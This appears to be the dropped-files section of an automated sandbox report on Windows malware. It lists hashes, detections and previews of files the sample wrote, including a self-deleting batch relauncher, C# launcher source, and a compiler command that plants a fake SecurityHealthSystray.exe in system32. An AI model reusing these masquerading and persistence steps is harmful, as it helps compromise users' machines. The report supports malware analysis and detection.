Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YU6cfen15o

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZxHjJuaVnV

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bSpuq9p7nn

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dHlA5lJXZJ

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:MtfWv2Xusn:Mxn
MD5:	A454E25F6902BB69FFEC8A8C057C9C59
SHA1:	0D51F1FD2C27470B88B871D0DD6175FE6519B066
SHA-256:	88C445DD6D1B20D6035442A5DA7D9155D7B47646728FC2716E5621DCC4C3D1D2
SHA-512:	DCA83F733E5EDE7349662B21AB3C9CC31381D3681792AB58D3DE443D09A4CC2EB9C1277985568AE15F7760A417530E3DBE4D6E198DE7F61839CFE55176EE803A
Malicious:	false
Preview:	XktYgUdqDco3Ui2pnGp2Kc4RL

C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.212831740386879
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wvir0CSKOZG1wkn23fNSq:HTg9uYDEmU0pfFSq
MD5:	FED6623E7BE1EFFD1CA169DB9C0C366E
SHA1:	3BD4A9695E8EB7D697283AAAF9679A6A72C23961
SHA-256:	6FBD6C5A6AFCAD6D34DBC5C1950C0797924EBACEE545F0E6113F656514CC7C7D
SHA-512:	7E143A3FBB9DF6DFA0BF16920A6398F647C11D55239CB86EDC9420FFE16CE508FA9F3211C127CB7DEC2375E549A69789D2D2261A7E1B745C6912D9265FC51D7E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\Desktop\Gg6wivFINd.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\fWX3gCrjSV.bat"

C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.0.cs

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.0177150515722495
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBL6u1X5pNiFkD:JNVQIbSfhV7TiFkMSfhWckFkD
MD5:	1ECC4E05E03F7A9215E21D9CABF6EB01
SHA1:	60AA7D394E50183C29BC8A345853191E1B2FACB8
SHA-256:	9C5279B5868AA7E90BF9E8CFF34911D3B04F42836BA10D1BF5E558658A9E9F5F
SHA-512:	4A7371130FDA6BB0F37F1082B566208F56CC2292F865397147BC5074B5A865F1A17955BC87520052941AC805D1B90D72F9DD5541AF000C72589831D4AE9C2797
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.089347035323648
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fP86v:Hu7L//TRq79cQWfN
MD5:	CF9524E8605B8E49E13C37F8CE4F52D6
SHA1:	D6901BBA2EB3A8EEC4A4E67509EAADF2983BB812
SHA-256:	9761F0CABD417716AF3620948F82D8B562F5C424F792CE8F56A26876A98820D8
SHA-512:	4F9740DBC9CA49093A55780EC42F1D3DA2302B2099CD19420C454393B829D1960E7035B09F295216FA6EAD1DF469F780E252C971E643167B11ED3055339E18ED
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.0.cs"

C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.out

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
Category:	modified
Size (bytes):	750
Entropy (8bit):	5.257456187264976
Encrypted:	false
SSDEEP:	12:KJN/I/u7L//TRq79cQWfIKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBI/un/Vq79tWfIKax5DqBVKVrdFAMb
MD5:	F2FD9E3647C4DC0B2BD2A0AD48B92CD5
SHA1:	018F53FF16F06AF8F005B61606F11CF21D3C7F41
SHA-256:	3C8237581ACE5E790BCFC3A21D54D86DBC9F87C3E039012100E58D1BF739D665
SHA-512:	6FFEC265B2B7E5F0ED580530E9FC4D70635FBF5F0FC403268822FA1AC27FAA1F358881810AC3A6E88A8FD5CA6DFDC1C9CE2138CDD14A042FB0DD356C3DD8B280
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\jo0X3TWT4Z

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jwDHP7Drg9

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lhNfwrNgdn

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mvKjtNXHIs

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.243856189774724
Encrypted:	false
SSDEEP:	3:50cDvWWbn:xD5bn
MD5:	9ACD36AFEC38CBD7957A01DB2D5B8AEC
SHA1:	A7B8108F23CC15AE820FAFAF002E9664571126F6
SHA-256:	C68347F0E0FBEDCC280A45726EC651CA1F2D3CEEAB87328837BE5EDC2019D506
SHA-512:	7F4AB1CE689D29F3D157B4CD778B1BFBEB4901BC1803369DEEB9260FB14C68145A7709615B744C8BB1F98E65750238187078F95A649C441F646CC18D988F4F0C
Malicious:	false
Preview:	maQ1yq6XuuJ337WMQGUkB61Fn

C:\Users\user\AppData\Local\Temp\sMetln26gK

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uldFzXQ50s

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\ObFbaRth.log

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: t8F7Ic986c.exe, Detection: malicious, Browse Filename: 544WP3NHaP.exe, Detection: malicious, Browse Filename: eP6sjvTqJa.exe, Detection: malicious, Browse Filename: 1znAXdPcM5.exe, Detection: malicious, Browse Filename: YGk3y6Tdix.exe, Detection: malicious, Browse Filename: QH67JSdZWl.exe, Detection: malicious, Browse Filename: U1jaLbTw1f.exe, Detection: malicious, Browse Filename: Etqq32Yuw4.exe, Detection: malicious, Browse Filename: KzLetzDiM8.exe, Detection: malicious, Browse Filename: aimware.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SGUSuOoy.log

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\URqTugUz.log

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\VqLBvYHA.log

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\c3115698c70fd0

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.648367439558383
Encrypted:	false
SSDEEP:	3:w2TTzNTcY53xve0ElQiEBfTc7kciz+6z:w2TThQY5NTElmTcJQh
MD5:	1DE0D0CFE0625806F822073320C296CB
SHA1:	615C1028AEEFD42594B09F89132652E81C7AAF79
SHA-256:	28B285CA0B4871213B82FA1FC1FD6DC24F44D6E00D2AC962CE8DE779F1A24014
SHA-512:	A922C4D003A78A5C4725D0DCE95B003118CF649B55DC7157EDAC530733D75C5A76C4DF81F24537B1E203065877D3AEB80A5ED64FBF323244AAAEF5F7CDFF49FB
Malicious:	false
Preview:	rWvSY6bsDXvVhKPYfyFAEsPG1V8KENb75uktiZWDSHsIoGxX9oUv4gB8HoaC8Rnz6yawjg0GbCr69GcuilKa2pDYtml38TEBd2M0

C:\Users\user\Desktop\cAPiRqzI.log

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\lSvXNkJN.log

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\sKFFPdPb.log

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tHgNldeW.log

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
